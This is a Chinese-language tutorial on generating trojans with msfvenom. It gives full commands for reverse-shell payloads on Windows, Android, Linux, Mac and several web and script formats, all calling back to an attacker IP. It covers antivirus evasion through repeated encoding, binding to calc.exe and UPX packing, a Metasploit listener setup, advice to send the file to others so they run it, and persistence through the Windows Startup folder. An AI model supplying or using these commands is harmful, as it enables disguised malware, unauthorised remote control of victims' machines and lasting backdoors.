简介
msfvenom是msfpayload,msfencode的结合体,可利用msfvenom生成木马程序,并在目标机上执行,在本地监听上线。
参数
–p (- -payload-options):添加载荷payload。载荷这个东西比较多,这个软件就是根据对应的载荷payload生成对应平台下的后门,所以只有选对payload,再填写正确自己的IP,PORT,就可以生成对应语言,对应平台的后门。
· –l:查看所有payload encoder nops。
· –f :输出文件格式。
· –e:编码免杀。
· –a:选择架构平台 x86 | x64 | x86_64
· –o:文件输出
· –s:生成payload的最大长度,就是文件大小。
· –b:避免使用的字符 例如:不使用 ‘\0f’。
· –i:编码次数。
· –c:添加自己的shellcode
· –x | -k:捆绑
生成exe木马
#lhost是我们的主机ip,lport是我们主机的用于监听的端口
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.31.129 lport=8888 -f exe -o test.exe
#编码3次
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.31.129 lport=8888 -i 3 -e x86/shikata_ga_nai -f exe -o test.exe
#编码10次、捆绑正常的32位calc.exe,生成32位的test.exe文件
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp -e x86/shikata_ga_nai -i 10 lhost=192.168.31.129 lport=8888 -x calc.exe -f exe -o test.exe
利用 upx 加壳
upx的功能有两种描述。一种叫做给程序加壳,另一种叫压缩程序。其实这两种表述都是正确的,只是从不同的角度对upx的描述。upx的工作原理其实是这样的:首先将程序压缩。所谓的压缩包括两方面,一方面在程序的开头或者其他合适的地方插入一段代码,另一方面是将程序的其他地方做压缩。压缩也可以叫做加密,因为压缩后的程序比较难看懂,主要是和原来的代码有很大的不同。最大的表现也就是他的主要作用就是程序本身变小了。变小之后的程序在传输方面有很大的优势。其次就是在程序执行时,实时的对程序解压缩。解压缩功能是在第一步时插入的代码完成的功能。联起来 就是:upx可以完成代码的压缩和实时解压执行。且不会影响程序的执行效率。upx和普通的压缩,解压不同点就算在于upx是实时解压缩的。
upx -9 test.exe -k -o test1.exe
生成其他格式的木马:
安卓app:
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.31.129 LPORT=8888 -o ~/Desktop/test2.apk
Linux:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.31.129 LPORT=8888 -f elf > shell.elf
Mac:
msfvenom -p osx/x86/shell_reverse_tcp LHOST=192.168.31.129 LPORT=8888 -f macho > shell.macho
PHP:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.20.27 LPORT=4444 -f raw -o test.php
ASP:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.31.129 LPORT=8888 -f asp > shell.asp
ASPX:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.31.129 LPORT=8888 -f aspx > shell.aspx
JSP:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.31.129 LPORT=8888 -f raw > shell.jsp
Bash:
msfvenom -p cmd/unix/reverse_bash LHOST=192.168.31.129 LPORT=8888 -f raw > shell.sh
Perl
msfvenom -p cmd/unix/reverse_perl LHOST=192.168.31.129 LPORT=8888 -f raw > shell.pl
Python
msfvenom -p python/meterpreter/reverser_tcp LHOST=192.168.31.129 LPORT=8888 -f raw > shell.py
运行 msfconsole 进入MSF控制台,然后输入以下命令
#使用exploit/multi/handler监听从肉鸡发来的数据
msf > use exploit/multi/handler
#设置payload,不同的木马设置不同的payload
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
#主机ip
msf exploit(handler) > set lhost 192.168.31.129
#主机端口
msf exploit(handler) > set lport 8888
msf exploit(handler) > exploit
然后利用任何一种方式发送给其他人,让其在其他主机上运行,这边就会接收到反弹过来的session。
输入:sessions -l 可以查看到得到的shell,使用 sessions -i 1 可以进入指定的shell
对于这个木马,如果在获取到某主机的shell后,想要在目标主机建立持续性的后门,可以将该木马放到目标主机的开机启动项中,只要该主机启动后,就可以连接到该主机了。
C:\Users\$username$\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup